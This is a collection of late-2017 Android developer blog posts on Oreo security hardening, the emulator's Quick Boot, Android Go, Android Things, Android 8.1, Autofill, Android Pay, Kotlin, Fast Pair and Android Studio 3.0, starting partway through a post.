    developers spot issues and fix bugs in their code.
  • Privileged Access Never (PAN) emulation: Also backported to
    3.18 kernels and above, this feature prohibits the kernel from accessing user
    space directly and ensures developers utilize the hardened functions to access
    user space.
  • Kernel Address Space Layout Randomization (KASLR):
    Although Android has supported userspace Address Space Layout Randomization
    (ASLR) for years, we’ve backported KASLR to help mitigate vulnerabilities on
    Android kernels 4.4 and newer. KASLR works by randomizing the location where
    kernel code is loaded on each boot, making code reuse attacks probabilistic and
    therefore more difficult to carry out, especially remotely.

App security and device identifier changes

Android
Instant Apps
run in a restricted sandbox which limits permissions and
capabilities such as reading the on-device app list or transmitting cleartext
traffic. Although introduced during the Android Oreo release, Instant Apps
supports devices running Android Lollipop and
later.

In order to handle untrusted content more safely, we’ve isolated
WebView
by splitting the rendering engine into a separate process and
running it within an isolated sandbox that restricts its resources. WebView also
supports Safe Browsing to protect
against potentially dangerous sites.

Lastly, we’ve made significant
changes to device identifiers
to give users more control, including:

  • Moving the static Android ID and Widevine values to an
    app-specific value, which helps limit the use of device-scoped non-resettable
    IDs.
  • In accordance with IETF RFC 7844
    anonymity profile, net.hostname is now empty and the DHCP client no
    longer sends a hostname.
  • For apps that require a device ID, we’ve built a Build.getSerial()
    API
    and protected it behind a permission.
  • Alongside security researchers1, we designed a robust MAC address
    randomization for Wi-Fi scan traffic in various chipsets firmware.

Android Oreo brings in all of these improvements, and many more. As always, we
appreciate feedback and welcome suggestions for how we can improve Android.
Contact us at security@android.com.

_____________________________________________________________________

1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche:
University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU
Leuven

Quick Boot & the Top Features in the Android Emulator

Posted by Jamal Eason, Product Manager, Android

Today, we are excited to announce Quick Boot for the Android Emulator. With
Quick Boot, you can launch the Android Emulator in under 6 seconds. Quick Boot
works by snapshotting an emulator session so you can reload in seconds. Quick
Boot was first released with Android Studio 3.0 in the canary update channel and
we are excited to release the feature as a stable update today.

In addition to this new feature, we also wanted to highlight some of the top
features from recent releases. Since the complete revamp of the Android Emulator
two
years ago
, we continue to focus on improving speed, stability and adding a
rich set of features that accelerate your app development and testing. With all
the recent changes, it is definitely worth updating to the latest version of the
Android Emulator to use it today.

Top 5 Features

  • Quick Boot – Released as a stable feature today, Quick Boot
    allows you to resume your Android Emulator session in under 6 seconds. The first
    time you start an Android Virtual Device (AVD) with the Android Emulator, it
    must perform a cold boot (just like powering on a device), but subsequent starts
    are fast and the system is restored to the state at which you closed the
    emulator last (similar to waking a device). We accomplished this by completely
    re-engineering the legacy emulator snapshot architecture to work with virtual
    sensors and GPU acceleration. No additional setup is required because Quick Boot
    is enabled by default starting with Android Emulator v27.0.2.

Quick Boot in the Android Emulator

  • Android CTS Compatibility With each
    release of the Android SDK, we ensure that the Android Emulator is ready for
    your app development needs, from testing backwards compatibility with Android
    KitKat to integrating the latest APIs of the developer preview. To increase
    product quality and reliability of emulator system images, we now qualify final
    Android System Image builds from Android Nougat (API 24) and higher against the
    Android Compatibility Test
    Suite
    (CTS)—the same testing suite that official Android physical devices
    must pass.
  • Google Play Support We know that many
    app developers use Google Play Services, and it can be difficult to keep the
    service up to date in the Android Emulator system images. To solve this problem,
    we now offer versions of Android System Images that include the Play Store app.
    The Google Play images are available starting with Android Nougat (API 24). With
    these new emulator images, you can update Google Play Services via the Play
    Store app in your emulator just as you would on a physical Android device. Plus,
    you can now test end-to-end install, update, and purchase flows with the Google
    Play Store.
  • Performance Improvements Making the
    emulator fast and performant is an on-going goal for our team. We continuously
    look at the performance impact of running the emulator on your development
    machine, especially RAM usage. With the latest versions of the Android Emulator,
    we now allocate RAM on demand, instead of allocating and pinning the memory to
    the max RAM size defined in your AVD. We do this by tapping into the native
    hypervisors for Linux (KVM) and macOS® (Hypervisor.Framework), and an
    enhanced Intel® HAXM (v6.2.1 and higher) for Microsoft®
    Windows®, which uses the new on-demand memory allocation.
  • Additionally, over the last several releases, we have improved CPU and I/O
    performance while enhancing GPU performance, including OpenGL ES 3.0 support.
    Looking at a common task such as ADB push highlights the improvements in the
    Android CPU and I/O pipelines:

    ADB Push Speed Comparison with Android Emulator

    For GPU performance, we created a sample GPU emulation stress
    test app
    to gauge improvements over time. We found that the latest emulator
    can render higher frame rates than before, and it is one of the few emulators
    that can render OpenGL ES 3.0 accurately per the Android specification.

GPU Emulation Stress Test – Android App

GPU Emulation Stress Test with Android Emulator

More Features

In addition to these major features, there are a whole host of additional
features that we have added to the Android Emulator over the last year that you
may not be aware of:

  • Wi-Fi support – Starting with API 24 system images, you can
    create an AVD that both connects to a virtual cellular network and a virtual
    Wi-Fi Access Point.
  • Google Cast support – When using a Google Play system
    image, you can cast screen and audio content to Chromecast devices on the same
    Wi-Fi network.
  • Drag and drop APKs & files – Simply drag an APK onto the
    Android Emulator window to trigger an app install. Also you can drag any other
    data file and find it in the /Downloads folder in your Android Virtual Device.
  • Host copy & paste – You can copy & paste text between the
    Android Emulator and your development machine.
  • Virtual 2-finger pinch & zoom – When interacting with apps
    like Google Maps, hold down the Ctrl Key (on Microsoft®
    Windows® or Linux) or ⌘ (on macOS® ) , and a finger
    overlay appears on screen to aid with pinch & zoom actions.
  • GPS location – Manually select a GPS point or set of GPS
    points under the Location tab of the Android Emulator.
  • Virtual sensors – There is a dedicated page in the extended
    controls panel that has supported sensors in the Android Emulator including
    acceleration, rotation, proximity and many more.
  • WebCam support – You can use a webcam or your laptop
    built-in webcam as a virtual camera in the AVD. Validate your AVD camera
    settings in the Advanced Settings page in the AVD Manager.
  • Host machine keyboard – You can use your real keyboard to
    enter text into the Android Virtual Device.
  • Virtual SMS and phone calls – In the extended controls
    panel, you can trigger a virtual SMS or phone call to test apps with telephony
    dependencies.
  • Screen zooming – On the main toolbar, click on the magnify
    glass icon to enter zoom mode, and then select a region of the screen you want
    to inspect.
  • Window resizing – Simply drag a corner of the Android
    Emulator window to change to the desired size.
  • Network proxy support – Add a custom HTTP proxy for your
    Android Emulator session by going to the Settings page under the Proxy tab.
  • Bug reporting – You can quickly generate a bug report for
    your app by using the Bug Report section in the extended controls panel to share
    with your team or to send feedback to Google.

Learn more about the Android Emulator in the Emulator
documentation
.

Getting Started

All of these features and improvements are available to download and use now
with Android Emulator v27.0.2+, which you can get via the SDK Manager in Android
Studio. For a fast experience, we recommend creating and running the x86 version
of emulator system images, with the latest Android Emulator, Intel® HAXM (if
applicable) and graphics drivers installed.

We appreciate any feedback on things you like, issues or features you would like
to see. If you find a bug, issue, or have a feature request feel free to file
an issue
. We are definitely not done, but we hope you are excited about the
improvements so far.

Introducing Android Oreo (Go edition) with the release of Android 8.1

Since Android’s creation, our mission has been to bring the power of computing to everyone. As a global operating system, Android has grown to more than 2 billion active devices around the world, with more users in India than the U.S.

To make sure billions more people can get access to computing, it’s important that entry-level devices are fully functioning smartphones that can browse the web and use apps. At Google I/O this year, we gave an early look at a project we called “Android Go” to make this possible. We’re excited to announce that this software experience—Android Oreo (Go edition)—is ready, and launching as a part of the Android 8.1 release tomorrow.

Android Oreo devices with 512MB to 1GB of memory will come with the all the Go optimizations. This Android Oreo (Go edition) experience is made up of three key components:

  • Operating System: Performance and storage improvements to the OS with data management features and security benefits built-in.

  • Google Apps: A new set of Google apps, designed to be lighter and relevant to the unique needs of people who are coming online for the first time.

  • Google Play Store: A tuned version of the Google Play Store that allows you to download any app, but also highlights the apps designed to work best on your device.

Go big with faster performance, more storage, data management, and security

We enhanced Android Oreo (Go edition) for speed and reliability on entry-level devices, which means the average app is now 15 percent faster on devices running Android Oreo (Go edition). There are many of these kinds of optimizations—and they really add up. If all entry level Android devices launched apps 15 percent faster, that would save the world a cumulative one million hours of time—every day!

It’s common for entry level devices to have very little storage space available once you account for the size of the OS and the preinstalled apps. This can be frustrating for people who want more space for their music, apps, and photos. So, we’ve optimized Android Oreo (Go edition) and enhanced our preinstalled Google apps to take up 50 percent less space. The net result is that we’ve doubled the amount of available storage on entry-level devices.

App Storage

Devices running Android Oreo (Go edition) also come with Google’s data saver features turned on by default. For example, Data Saver in Chrome saves the average user more than 600MB of data per year. You can also manage which apps can use background data with our built-in data saver feature, giving you more control over how your data is used.

Android Oreo is the most secure version of Android yet, so when you buy an Android Oreo (Go edition) device, you’ll be getting all the same security features. And of course all devices with Android Oreo (Go edition) get Google Play Protect built-in. Google Play Protect continuously works to keep your device, data and apps safe. It scans your app installs, even when you’re offline, no matter where you downloaded them from.

Go with Google

We’ve redesigned many of our popular Google apps to address local needs. Preinstalled on Android Oreo (Go edition) devices, this set of optimized apps includes Google Go, Google Assistant Go, YouTube Go, Google Maps Go, Gmail Go, Gboard, Google Play, Chrome, and the new Files Go app by Google.

With our new and reimagined Google apps, we’ve focused on making them not only smaller, but smooth and fast too. For example, Google Go—a new app to find the information you want—optimizes data by up to 40 percent, weighs less than 5MB in size, and makes it faster to find popular and trending information with a simple, tappable interface. And with the Google Assistant for Android (Go edition), you can quickly send messages, make calls, set alarms, and more with your voice and a single touch of the screen.

Our storage-saving features extend beyond the OS to a new file-management app by Google—Files Go—which helps you clean up space and stay organized. Whether it’s recommendations for removing spam, duplicate images or unused apps from your phone, Files Go is the perfect complement to the storage-maximizing features of Android Oreo (Go edition).

n

Go Play

In the Play Store, you can download any app, and we’ve also created a new section that recommends popular apps that are tuned to run well on entry-level devices. 

We’ve have been thrilled to see that many of our partners are using our building for billions guidelines to either optimize their existing app or create a new app to run well on entry-level devices, in the hopes of bringing their experiences to billions of new smartphone users.

Ready. Set. Go.

With the launch of Android Oreo (Go edition) in Android 8.1, partners will soon be able to ship this new release on their entry-level devices around the world. We can’t wait for our partners’ devices to hit shelves in the coming months.

And if you’re a developer, let’s build for the next billion together.

Android Things Developer Preview 6

Posted by Wayne Piekarski,
Developer Advocate for IoT

The next release of Android Things Developer Preview 6 (DP6) is here with lots
of new features and bug fixes. Android Things is Google’s platform that enables
Android Developers to create Internet of Things (IoT) devices with support for
powerful applications such as video and audio processing and on-board machine
learning with TensorFlow. For the specifics on what is new, visit the release
notes
. Here are a few of the highlights of what is in DP6.

IoT launcher

DP6 includes a new IoT launcher that allows the user to see the current state of
the device and change settings using a touch screen or USB input devices.
Settings such as configuring the WiFi, finding the build ID, and checking for
updates is now something that can be done interactively, making it even easier
to get started. This launcher is visible when no other developer-provided IOT_LAUNCHER
Activity is present.

Graphics acceleration defaults

Android Things uses the open-source SwiftShader library, a
CPU-based implementation of the OpenGL ES APIs. This enables common OpenGL
support across all platforms, even those with no GPU hardware. However, many
simple 2D UIs render faster if the drawing is done directly to the framebuffer
and OpenGL emulation is not used. In DP6, OpenGL rendering is disabled by
default to ensure that most apps run with the fastest UI possible. If you need
OpenGL support for 3D rendering, WebView, or TextureView, then explicitly enable
it in your AndroidManifest.xml according to the documentation:

<activity

    ...
    android:hardwareAccelerated="true">

API 27 and Google Play Services

DP6 is now based on the latest Android 8.1 developer preview, with API level 27.
Most of the standard Android samples now work on DP6. For example, the Camera2Basic
sample using the Camera2 API and TextureView now works on both NXP and Raspberry
Pi based devices (with the hardwareAccelerated flag set to true). Google Play
Services has been updated to support SDK version 11.6, supporting all the latest
features
.

Command-line flashing tool

We heard from developers that flashing and configuring a board using fastboot
can be tedious, so the Android Things
Console
now brings a new and simpler way of flashing device images. Instead
of using fastboot and adb commands manually, a new interactive command-line
android-things-setup-utility
is now provided. This tool makes it much easier to get started with Android
Things, and automates the download and flashing process.

Android Things Console updates

DP6 introduces the new partition scheme that will be used for the upcoming
production release. Due to the new partition layout, the over-the-air update
(OTA) system cannot update existing DP5.1 or earlier devices. Developers will
need to go to the Android
Things Console
, and download and flash a new DP6 build. The Console UI has
also been changed for DP6 features, and will only allow you to create new builds
based on DP6. If you have any older existing builds, they are still available
for download but will not support OTA updates. Developers are encouraged to move
all work to DP6.

GPIO pin naming

The interactive IoT launcher shown at boot now includes an I/O pinout section
where you can discover the labels of all the pins. The pin naming used by the
i.MX7 has been changed, and you should update your code to use this new naming
convention. See the i.MX7
documentation
for the complete list of pin names.

Settings and Device Update APIs

New APIs have been added to Android Things that control the configuration
of the local device and device updates. UpdateManager
gives developers control over when updates and reboots can be performed,
ensuring the device is available for the user when needed. DeviceManager
controls factory reset, reboot, and device locales. APIs are also provided for
settings such as ScreenManager
to control the screen, and TimeManager
to control the clock and time zone.

Peripheral command-line tool

We now provide a command-line tool pio
that gives developers access to the Peripheral API via the adb shell. Developers
can interactively test GPIO, PWM, UART, I2C, SPI, and future interfaces from an
adb shell, which is useful for debugging and automated testing.

Feedback

DP6 includes significant changes and improvements to the platform. Please send
us your feedback by filing bug
reports
and feature
requests
, as well as asking any questions on Stack
Overflow
. To start using DP6, use the Android Things Console to
download system images and flash existing devices, or use the android-things-setup-utility.
More information about the changes are available in the release
notes
. You can also join Google’s IoT
Developers Community
on Google+, a great resource to get updates and discuss
ideas. Also, we have our new hackster.io
community
, where everyone can share the amazing projects they have built. We
look forward to seeing what you build with Android Things!

Final preview of Android 8.1 now available

Posted by Dave Burke, VP of Engineering

Starting today we’re rolling out an update to the Android 8.1 developer preview,
the last before the official launch to consumers in December. Android 8.1 adds
targeted enhancements to the Oreo platform, including optimizations for
Android Go (for devices with 1GB or less of memory) and a
Neural Networks API to accelerate on-device machine
intelligence. We’ve also included a few smaller enhancements to Oreo in response
to user and developer feedback.

If you have a device enrolled in the Android Beta Program, you’ll receive the
update over the next few days. If you haven’t enrolled yet, just visit the Android Beta site to enroll and get the
update.

At the official release in December we’ll bring Android 8.1 to all supported
Pixel and Nexus devices worldwide — including Pixel 2 and Pixel 2
XL
, Pixel, Pixel XL, Pixel C, Nexus 5X, and Nexus 6P. Watch for
announcements soon.

What’s in this update?

This preview update includes near-final Android 8.1 system images for Pixel and
Nexus devices, with official APIs (API level 27), the latest optimizations and
bug fixes, and the November 2017 security patch updates. You can use the images
for compatibility testing or to develop using new Android 8.1 features like the
Neural
Networks API
and others.

The Neural Networks API provides accelerated computation and inference for
on-device machine learning frameworks like TensorFlow Lite — Google’s
cross-platform ML library for mobile — as well as Caffe2 and others. TensorFlow
Lite is now
available to developers
, so visit the TensorFlow
Lite open source repo
for downloads and docs. TensorFlow Lite works with the
Neural Networks API to run models like MobileNets,
Inception v3, and Smart
Reply
efficiently on your mobile device.

Also, for Pixel 2 users, the Android 8.1 update on these devices enables Pixel
Visual Core
— Google’s first custom-designed co-processor for image
processing and ML — through a new developer option. Once enabled, apps using
Android Camera API can capture HDR+ shots through Pixel Visual Core. See the release
notes
for details.

Get your apps ready

With the consumer launch coming in December, it’s
important to test your current app now. This ensures that users transition
seamlessly to Android 8.1 when it arrives on their devices.

Just enroll your eligible device in Android Beta to get the latest update,
then install your app from Google Play and test. If you don’t have a Pixel or
Nexus device, you can set up an Android 8.1 emulator for testing instead. If you
notice any issues, fix them and update your app in Google Play right away —
without changing the app’s platform targeting.

When you’re ready, take advantage of new features and APIs in Android 8.1. See
the developer
preview site
, the API 27 diff
report
, and the updated
API reference
for details.

Speed your development with Android Studio

To build with Android 8.1, we recommend updating to Android
Studio 3.0
, which is now available from the stable
channel
. On top of the new app performance
profiling tools
, support for the Kotlin
programming language
, and Gradle build optimizations, Android Studio 3.0
makes it easier to develop with Android Oreo features like Instant
Apps
, XML
Fonts
, downloadable
fonts
, and adaptive
icons
.

We also recommend updating to the Android
Support Library 27.0.0
, which is available from Google’s
Maven repository
. See the version
notes
for details on what’s new.

Publish your updates to Google Play

Google Play is open for apps compiled against or targeting API 27. When you’re
ready, you can publish your APK updates in your alpha, beta, or production
channels.

To make sure your app runs well on Android 8.1 as well as older versions, we
recommend using Google Play’s beta
testing feature
to run an alpha test on small group of users. Then run a
much open beta test on a much larger group of users. When you’re ready to launch
your update, you can use a staged
rollout
in your production channel. We’re looking forward to seeing your app
updates!

Give us your feedback

As always, your feedback is crucial, so please keep it coming!.
We’ve set up different hotlists where you can report Android
platform issues
, app
compatibility issues
, and third-party
SDKs and tools issues
. We also have a dedicated hotlist for Neural
Networks API issues
.

You can also give us feedback through the Android
Developer community
or Android Beta
community
as we work towards the consumer release in December.

Getting your Android app ready for Autofill

Posted by Wojtek Kalicinski, Android Developer Advocate, Akshay Kannan,
Product Manager for Android Authentication, and Felipe Leme, Software Engineer on Android Frameworks

Starting in Oreo, Autofill makes it easy for users to provide credit cards,
logins, addresses, and other information to apps. Forms in your apps can now be
filled automatically, and your users no longer have to remember complicated
passwords or type the same bits of information more than once.

Users can choose from multiple Autofill services (similar to keyboards today).
By default, we include Autofill with Google, but users can also select any third
party Autofill app of their choice. Users can manage this from
Settings->System->Languages>Advanced->Autofill service.

What’s available today

Today, Autofill with Google supports filing credit cards, addresses, logins,
names, and phone numbers. When logging in or creating an account for the first
time, Autofill also allows users to save the new credentials to their account.
If you use WebViews in your app, which many apps do for logins and other
screens, your users can now also benefit from Autofill support, as long as they
have Chrome 61 or later installed.

The Autofill API is open for any developer to implement a service. We are actively
working with 1Password,
Dashlane,
Keeper,
and LastPass
to help them with their implementations and will be working with other password managers shortly.
We are also creating a new curated collection on the Play Store, which the “Add service” button in Settings will link to. If you
are a password manager developer and would like us to review your app, please get
in touch
.

What you need to do as a developer

As an app developer, there are a few simple things you can do to take advantage
of this new functionality and make sure that it works in your apps:

Test your app and annotate your views if needed

In many cases, Autofill may work in your app without any effort. But to ensure
consistent behavior, we recommend providing explicit hints to tell the framework
about the contents of your field. You can do this using either the android:autofillHints
attribute
or the setAutofillHints()
method
.

Similarly, with WebViews in your apps, you can use HTML Autocomplete
Attributes
to provide hints about fields. Autofill will work in WebViews as
long as you have Chrome 61 or later installed on your device. Even if your app
is using custom views, you can also define
the metadata that allows autofill to work
.

For views where Autofill does not make sense, such as a Captcha or a message
compose box, you can explicitly mark the view as IMPORTANT_FOR_AUTOFILL_NO
(or IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS
in the root of a view hierarchy). Use this field responsibly, and remember that
users can always bypass this by long pressing an EditText and selecting
“Autofill” in the overflow menu.

Affiliate your website and mobile app

Autofill with Google can seamlessly share logins across websites and mobile apps
‒ passwords saved through Chrome can also be provided to native apps. But in
order for this to work, as an app developer, you must explicitly declare the
association between your website with your mobile app. This involves 2 steps:

Step 1: Host a JSON file at
yourdomain.com/.well-known/assetlinks.json

If you’ve used technologies like App Links or Google Smart Lock before, you
might have heard about the Digital Asset Links (DAL) file. It’s a JSON file
placed under a well known location in your website that lets you make public,
verifiable statements about other apps or websites.

You should follow the Smart
Lock for Passwords guide
for information about how to create and host the
DAL file correctly on your server. Even though Smart Lock is a more advanced way
of signing users into your app, our Autofill service uses the same
infrastructure to verify app-website associations. What’s more, because DAL
files are public, third-party Autofill service developers can also use the
association information to secure their implementations.

Step 2: Update your App’s Manifest with the same
information

Once again, follow the Smart
Lock for Passwords guide
to do this, under “Declare the association in the
Android app.”

You’ll need to update your app’s manifest file with an asset_statements
resource, which links to the URL where your assetlinks.json file is hosted. Once
that’s done, you’ll need to submit your updated app to the Play Store, and fill
out the Affiliation
Submission Form
for the association to go live.

When using Android Studio 3.0, the App Links Assistant can generate all of this
for you. When you open the DAL generator tool (Tools -> App Links Assistant ->
Open Digital Asset Links File Generator), simply make sure you enable the new
checkbox labeled “Support sharing credentials between the app and website”.

Then, click on “Generate Digital Asset Links file”, and copy the preview content
to the DAL file hosted on your server and in your app. Please remember to verify
that the selected domain names and certificates are correct.

Future work

It’s still very early days for Autofill in Android. We are continuing to make
some major investments going forward to improve the experience, whether you use
Autofill with Google or a third party password manager.

Some of our key areas of investment include:

  1. Autofill with Google: We want to provide a great experience
    out of the box, so we include Autofill with Google with all Oreo devices. We’re
    constantly improving our field detection and data quality, as well as expanding
    our support for saving more types of data.
  2. WebView support: We introduced initial support for filling
    WebViews in Chrome 61, and we’ll be continuing to test, harden, and make
    improvements to this integration over time, so if your app uses WebViews you’ll
    still be able to benefit from this functionality.
  3. Third party app support: We are working with the ecosystem
    to make sure that apps work as intended with the Autofill framework. We urge you
    as developers to give your app a spin on Android Oreo and make sure that things
    work as expected with Autofill enabled. For more info, see our full
    documentation on the Autofill
    Framework
    .

If you encounter any issues or have any suggestions for how we can make this
better for you, please send
us feedback
.

Android Pay goes local in Ukraine, Czech Republic, Brazil and Slovakia

Whenever we launch Android Pay in a new market, we think about how to enable faster, easier checkout while taking into account the distinct payment habits of each place. Working with partners is a key part of creating a local experience.

A few weeks ago, we launched Android Pay in Ukraine. Today, it’s available in Czech Republic and Brazil, and soon it’ll be live in Slovakia, too. Here’s a look at how two different approaches simplify checkout in two unique parts of the world.

Leave your wallet at home in Central and Eastern Europe

Paying contactless isn’t new in Central and Eastern Europe–in fact, in many places it’s the norm. With Android Pay, we wanted to make it easier for locals to leave their wallets at home at places they know and love. Starting today in Czech Republic, you can pick up a loaf of traditional Šumava bread at your favorite bakery or an ice-cold Kofola at Albert using nothing but your phone.

Kiev_metro
Oleksandr Danylyuk, Ukraine’s Finance Minister, demonstrating Android Pay at the launch event

And in a region full of Android fans, we’re excited to see it’s already taking off! Ukraine’s Finance Minister Oleksandr Danylyuk was the country’s first person to try Android Pay when we launched on November 1, demonstrating how it works on the Kiev Metro.

Pay for pão de queijo with your phone in Brazil

On the other side of the globe in Brazil, contactless payments are just picking up speed. So we partnered with merchants like Ipiranga and Casa do Pão de Queijo to help us merge new experiences (like paying with your phone) with familiar ones (like buying groceries or Brigadeiros). Brazil is also the first Latin American country to get Android Pay, and we’re looking forward to helping contactless payments become part of people’s everyday routines.

br_hero

We’ll be bringing Android Pay to even more places soon.

Update on Kotlin for Android

Posted by James Lau, Product Manager (twitter.com/jmslau)

Today is the beginning of KotlinConf.
It’s been almost 6 months since we announced Kotlin as a first-class language
for Android at Google I/O. During this period, the number of apps on Google Play
using Kotlin has more than doubled. More than 17% of the projects in Android
Studio 3.0 are now using Kotlin. We are really excited about the strong
momentum, and we are thrilled that Android developers all over the world are
discovering the joy of Kotlin programming.

Kotlin for Android is production-ready. From startups to Fortune 500 companies,
developers are already using Kotlin to build their apps. Developers from
Pinterest, to Expedia, to Basecamp — and many others — are finding their use
of Kotlin is increasing productivity and their overall developer happiness
levels. Take a look at some of their experiences with Kotlin below.

With the recent release of Android Studio 3.0,
there is now a stable version of our IDE that has Kotlin support built-in. With
Support
Library 27
, we have started adding nullability annotations to make the APIs
friendlier to use in Kotlin. We recently published the Android Kotlin Guides on
GitHub
to provide some guidance for Android Kotlin style and interop. We
have also been porting some of our Android
samples to Kotlin
, and we are adding Kotlin to our official documentation.

Android Studio 3.0

Last week, we released
Android Studio 3.0 on the stable channel
. This is the first stable release
of Android Studio that has Kotlin support built-in. Building on the strength of
IntelliJ’s Kotlin support, many critical IDE features like code completion and
syntax highlighting work well for Kotlin. You can choose to convert Java code to
Kotlin by using CodeConvert Java File to Kotlin
File
, or you can convert snippets of code just by pasting Java code
into a Kotlin file.

Project and code templates have also been updated with Kotlin support. When you
create a new project or add a new code file, you can choose Kotlin as one of the
language options.

The tooling experience with Kotlin is by no means perfect yet. We are aware of
several known
issues
, and we will continue to improve the IDE support for Kotlin in future
releases.

Android Kotlin Guides

There are two separate Android Kotlin Guides:

  1. Style guide
    – details a set of rules and coding standards that Google recommends when
    writing Kotlin for Android. The guide addresses naming conventions, formatting,
    structure of the source contents, and much more.
  2. Interop
    guide
    – provides a set of rules for creating APIs in the Java and Kotlin
    programming languages, so that the consuming code in the other language will
    feel idiomatic.

We intend these guides to be living documents and will evolve them over time.
They are hosted on GitHub and we welcome your contributions.

Nullability Annotations

Null-safety is an important feature of the Kotlin language. It helps developers
avoid NullPointerExceptions and improves the quality of their apps. Null-safety
is a bit more complicated when using Java code from Kotlin. Since any reference
in Java may be null, Kotlin’s requirement for strict null-safety becomes
impractical for Java objects. Types declared in Java that do not contain
nullability annotations are called platform types – this means the Kotlin
compiler does not know whether it is nullable or not. When calling methods with
variables of platform types, the Kotlin compiler relaxes null-safety checks.
That means the overall null-safety of your app is weakened.

To let developers take more advantage of Kotlin’s strict null-safety, we have
started adding nullability annotations in Support
Library 27
. The Support Library contains a huge API surface area, and we
will continue to expand the nullability annotation coverage in the next several
releases. In addition, we will also be adding nullability annotations to other
Android APIs over time.

While the Kotlin adoption growth is fantastic, our commitment to the Java and
C++ programming languages remains unchanged. We’ve added Java 8
language features support in Android Studio 3.0
, and we’ve added more Java
8 language APIs in Android Oreo
. We are also continuing to improve our
support for C++17 in the NDK. So even if you are not using Kotlin, your language
support will continue to improve.

It’s an exciting time to be an Android developer. If you haven’t had a chance to
try Kotlin, you can get started by learning the basic syntax
and by playing with the excellent Kotlin
Koans
. When you are ready to use Kotlin in your Android app, you can jump to
the Android Kotlin page for
more resources. With Kotlin’s Java interoperability and Android Studio’s Java to
Kotlin converter, it’s easy to start using Kotlin in your project.

Happy Kotlin-ing!

Welcome HTC to the Android One family

Android One took some important steps two months ago in an effort to give people a fresh, secure software experience designed by Google on more high quality devices. In a short amount of time, our partners have already announced some amazing phones, including the Xiaomi Mi A1 and Android One Moto x4 on Project Fi.

Today, HTC is joining the Android One family with their HTC U11 life. Designed with the latest touch interactions, a powerful camera, and immersive audio experience, here’s a closer look at what you’ll get with the Android One version of the new phone.

  • Smarts: All Android One devices are optimized for the Google Assistant, meaning you can get help simply by saying “Ok Google” or long pressing on the home button. With the Android One HTC U11 life, we’ve taken this one step farther; you can now launch the Google Assistant with a squeeze of your phone, thanks to HTC’s Edge Sense technology. With HTC U11 life, you can take a selfie, look up directions, manage your tasks on the go and more with just a squeeze.

  • Fresh and secure: This is the first Android One phone to launch with Android Oreo. This means the HTC U11 life is more powerful than ever, with minimized background activity for your battery to last longer, or even do two things at once with Picture-in-Picture. Android One phones are guaranteed to stay fresh over time, and are among the most secure with monthly security updates and built-in malware protection with Google Play Protect. Moreover,  the HTC U11 life will receive an upgrade to Android P when available.

  • Powerful camera: Take faster, clearer photos and HDR Boost on the 16MP main camera, even in low light. Google Photos will be the default gallery on this device, giving you free and unlimited storage of your photos and videos at high quality.

The Android One version of the HTC U11 life will launch first in Germany in Media Markt stores and on Amazon.de. We look forward to bringing this device to other countries in Europe and Asia Pacific later this year and into 2018.

Announcing Fast Pair – effortless Bluetooth pairing for Android

Posted by Ritesh Nayak M and Ronald Ho, Product Managers

Today we’re announcing Fast Pair, a hassle-free process to pair your Bluetooth
devices on all supported Android devices running Google Play services 11.7+ with
compatibility back to Marshmallow (Android 6.0). Fast Pair makes discovery &
pairing of Bluetooth devices easy and is currently rolling out to Android 6.0+
devices. You can try this out with Google Pixel Buds
or Libratone’s
Q Adapt On-Ear
, Bose® QuietComfort 35 II, and soon on Plantronics Voyager 8200 series wireless headsets.

Ease of use, speed and security are the design principles driving the Fast Pair
specification. Fast Pair uses BLE (Bluetooth Low Energy) for advertising and
discovery and uses classic Bluetooth for pairing. Here’s what a Fast Pair flow
looks like:

  1. Turn on a Fast Pair-enabled device and put it in pairing mode.
    • Android scans for BLE broadcasts in close proximity of the user’s phone and
      discovers a Fast Pair packet (provided Bluetooth and Location is turned on).
    • This packet is sent to our servers to get back the device’s product image,
      product name and companion app (if there is one).
  2. The user receives a high priority notification asking them to “Tap to pair” to
    the device. The notification contains the product name and image.
  3. When the user taps on the notification, we use classic Bluetooth to
    establish a connection.
  4. A success notification is shown which contains a link to
    download the companion app (if there is one).

Imagine doing all of this without ever fumbling with Bluetooth settings. Users get a seamless and secure pairing
experience and confidence that they’re connecting to the right product.
Manufacturers get their brand, device name and companion app in front of the
users.

Thanks to a couple of our partners who have been instrumental in prototyping and
testing this spec, and whose feedback has been invaluable to the Fast Pair
effort. If you are a Bluetooth accessory manufacturer and want to adopt Fast
Pair for your device, please reach
out to us
.

Plantronics is an audio pioneer and a global leader in the communications
industry. From Unified Communications and customer service ecosystems, to data
analytics and Bluetooth headsets, Plantronics delivers high-quality
communications solutions that customers count on today, while relentlessly
innovating on behalf of their future. For more information visit plantronics.com


Libratone is on a mission to liberate sound and to expand peoples’
experiences with music in the era of streaming. Founded in 2009 in Denmark,
Libratone is one of the first audio companies to consider the aesthetics of
speakers – to move them out of the corner of the room and into the center and
onward, for the consumer on the move. For more information visit libratone.com

Android Studio 3.0

Posted by Jamal Eason, Product
Manager, Android

Android Studio 3.0 is ready to download today. Announced at Google I/O 2017,
Android Studio 3.0 is a large update focused on accelerating your app
development on Android.

This release of Android Studio is packed with many new updates, but there are
three major feature areas you do not want to miss, including: a new suite of app
profiling tools to quickly diagnose performance issues, support for the Kotlin
programming language, and a new set of tools and wizards to accelerate your
development on the latest Android Oreo APIs.

We also invested time in improving stability and performance across many areas
of Android Studio. Thanks to your feedback during the preview versions of
Android Studio 3.0! If you are looking for high stability, want to build high
quality apps for Android Oreo, develop with the Kotlin language, or use the
latest in Android app performance tools, then you should download Android Studio
3.0 today.

Check out the the list of new features in Android Studio 3.0 below, organized by
key developer flows.


What’s new in Android Studio 3.0

Develop

  • Kotlin Programming Language As announced
    at Google I/O 2017
    , the Kotlin
    programming language is now officially supported for Android development. Kotlin
    is an expressive and concise language that is interoperable with existing
    Android languages and runtimes, which means you can use as little or as much of
    the language in your app as you want. Kotlin is a production-ready language
    used by many popular Android apps on Google Play today.

    This release of Android Studio is the first milestone of bundles the Kotlin
    language support inside the IDE. Many of your favorite features such as code
    completion and syntax highlighting work well this release and we will continue
    to improve the remaining editor features in upcoming release. You can choose to
    add Kotlin to your project using the built-in conversion tool found under
    CodeConvert Java File to Kotlin File, or
    create a Kotlin enabled project with the New Project Wizard. Lean more about
    Kotlin language support
    in Android Studio
    .

Kotlin Language Conversion in Android Studio

  • Java 8 Language features In Android
    Studio 3.0, we are continuing to improve the support for Java 8 language
    features. With the migration
    to a javac
    based toolchain, using Java 8 language features in your project
